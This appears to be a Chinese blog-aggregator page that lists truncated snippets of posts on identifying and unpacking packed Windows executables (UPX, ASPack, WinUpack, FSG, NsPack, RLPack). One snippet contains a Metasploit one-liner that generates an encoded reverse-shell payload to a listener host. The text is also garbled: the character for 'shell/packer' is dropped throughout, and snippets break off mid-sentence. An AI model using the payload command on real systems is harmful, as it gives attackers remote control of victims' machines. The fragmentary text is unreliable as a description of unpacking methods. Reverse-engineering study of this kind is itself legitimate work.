作者:Fly2015 Windows平台的加软件还是比較多的,因此有非常多人对于PC软件的脱壳乐此不彼,本人菜鸟一枚,也学习一下PC的脱壳。要对软件进行脱壳。首先第一步就是 查。然后才是 脱壳。 推荐比較好的查软件: PE Detective 、Exeinfo PE、DIE工具。 须要脱壳的程
转载 2017-08-07 13:25:00
311阅读
2评论
作者:Fly2015Windows平台的加软件还是比较多的,因此有很多人对
转载 2022-10-11 21:17:28
339阅读
0x01 准备ODUPX加程序可以加的软...
原创 2022-07-20 22:56:11
160阅读
upx gcc -static xxx.c -o xxxupx为压缩,将可执行文件进行压缩,当可执行文件过小时加会失败,所以此处采用了静态链接的方式进行编译;附上设计的源码:#include<stdio.h> #include<string.h> #include<windows.h> int main(
转载 2023-10-08 07:09:07
496阅读
root@bt:~# time msfpayload windows/shell_reverse_tcp LHOST=192.168 | msfencode -e x86/shikat
原创 2023-04-26 20:01:00
496阅读
# Python UPX简介及代码示例 ## 1. 引言 在进行软件开发或编写脚本时,我们常常希望将代码保护起来,防止他人进行逆向工程或篡改。一种常用的方法是使用加技术,将代码与程序进行结合,以提高代码的安全性。本文将介绍一种常用的加技术:Python UPX,并给出相应的代码示例。 ## 2. 什么是UPX UPX(Ultimate Packer for eXecuta
原创 2024-01-27 09:30:05
494阅读
UPX和WinUpack压缩的使用和法- 脱壳篇06让编程改变世界Change the world by program今天小甲鱼给大家介绍两款压缩UPX和WinUpack。UPX是时下最流行的压缩之一,因为它的压缩效率和稳定性都是比较不错的,另外一点呢他是开源的,小甲鱼在这节课的源代码...
转载 2013-08-30 04:36:00
158阅读
2评论
手工ASPack
原创 2012-08-03 11:49:48
284阅读
工具ASPack
原创 2012-08-03 11:53:07
423阅读
overlay 最终版invalid data in the file脱壳参考:手动upx3.96的的时候,完运行程序,出现“invalid data in the file”。这时候,下载个overlay 最终版,源文件选择 脱壳前的文件,目标文件选择 脱壳后的文件,点击 “复制overlay”,完美解决...
原创 2022-01-13 16:26:10
307阅读
作者:Fly2015 吾爱破解培训第一课选修作业第6个练习演示样例程序。不得不反复那句话,没见过这样的,该是压缩的一种,相对于压缩,加密的难度要大一些。特别是IAT表的修复问题上。 首先分别使用DIE和Exeinfo PE对该加程序进行查的处理。 OD加载加WinUpack 的程序进
转载 2017-08-16 10:07:00
168阅读
0x00 前言UPX作为一个跨平台的著名开源压缩,随着Android的兴起,许多开发者和公司将其和其变种应用在.so库的加密防护中。虽然针对UPX及其变种的使用和脱壳都有教程可查,但是至少在中文网络里并没有针对其源码的分析。作为一个好奇宝宝,我花了点时间读了一下UPX的源码并梳理了其对ELF文件的
转载 2017-07-27 16:10:00
1520阅读
2评论
作者:Fly2015 吾爱破解论坛培训第一课选修作业练习的第7题。这个没听说过。可是脱起来比較简单。依据ESP定律就可以直达光明,Dump出原来的程序。 老规矩。首先对须要脱壳的程序进行查处理。 使用DIE查的结果。程序加的是RLPack而且原程序是用微软编译器编译的。 OD加载加程序进行
转载 2021-08-06 15:20:46
563阅读
作者:Fly2015吾爱破解论坛培训第一课选修作业练习的第7题。这个没听
转载 2022-10-11 21:35:40
29阅读
作者:Fly2015 对于FSG。之前没有接触过是第一次接触。这次拿来脱壳的程序仍然是吾爱破解论坛破解培训的作业3的程序。对于这个折腾了一会儿,后来还是被搞定了。   1.查 首先对该程序(吾爱破解培训第一课作业三.exe)进行查:   非常遗憾。这次DIE也不行了,只是没事。     2.脱壳 OD加载该加的程序进行分析。以下是入口点的汇编代码:   起初对于该种加程序也是比較
转载 2016-01-26 11:00:00
150阅读
2评论
作者:Fly2015这里脱壳的程序是吾爱破解培训的作业2,相较于作业1稍微要强一点,但是只要掌握了脱壳的ESP定律,这个Nspack并不难,不过还是蛮有意思的。1.使用查软件对加的程序进行查。使用PE Detective查的结果:使用DIE查的结果:2.OD载入程序进行脱壳操作OD载入以后,被加程序的入口点的汇编代码,如图。很显然,加程序载入OD以后,发现有3个push
转载 2022-10-11 18:19:26
73阅读
例程序。不得不重复那句话,没见过这种,该是压缩的一种,相对于压缩,加密的难度要大一些,特别是IAT表的修复问题上。 首先分别使用DIE和Exei...
转载 2022-10-11 21:14:27
52阅读
是吾爱破解论坛破解培训的作业3的程序。对于这个折腾了一会儿,后来还是被搞定了。 1.查首先对该程序(吾爱破解培训第一课作业三...
转载 2022-10-11 21:17:09
82阅读
UPX (the Ultimate Packer for eXecutables)是一款先进的可运行程序文件压缩器。压缩过的可运行文件体积缩小50%-70% ,这样降低了磁盘占用空间、网络上传下载的时间和其他分布以及存储费用。 通过 UPX 压缩过的程序和程序库全然没有功能损失和压缩之前一样可正常地...
转载 2016-01-14 13:05:00
1048阅读
2评论
第一课的选修作业四。最近对脱壳有点上瘾了,当然也遭受了脱壳受挫的无奈,但是比较幸运还是把这个给搞了。 对加程序进行...
转载 2022-10-11 21:14:29
112阅读
  • 1
  • 2
  • 3
  • 4
  • 5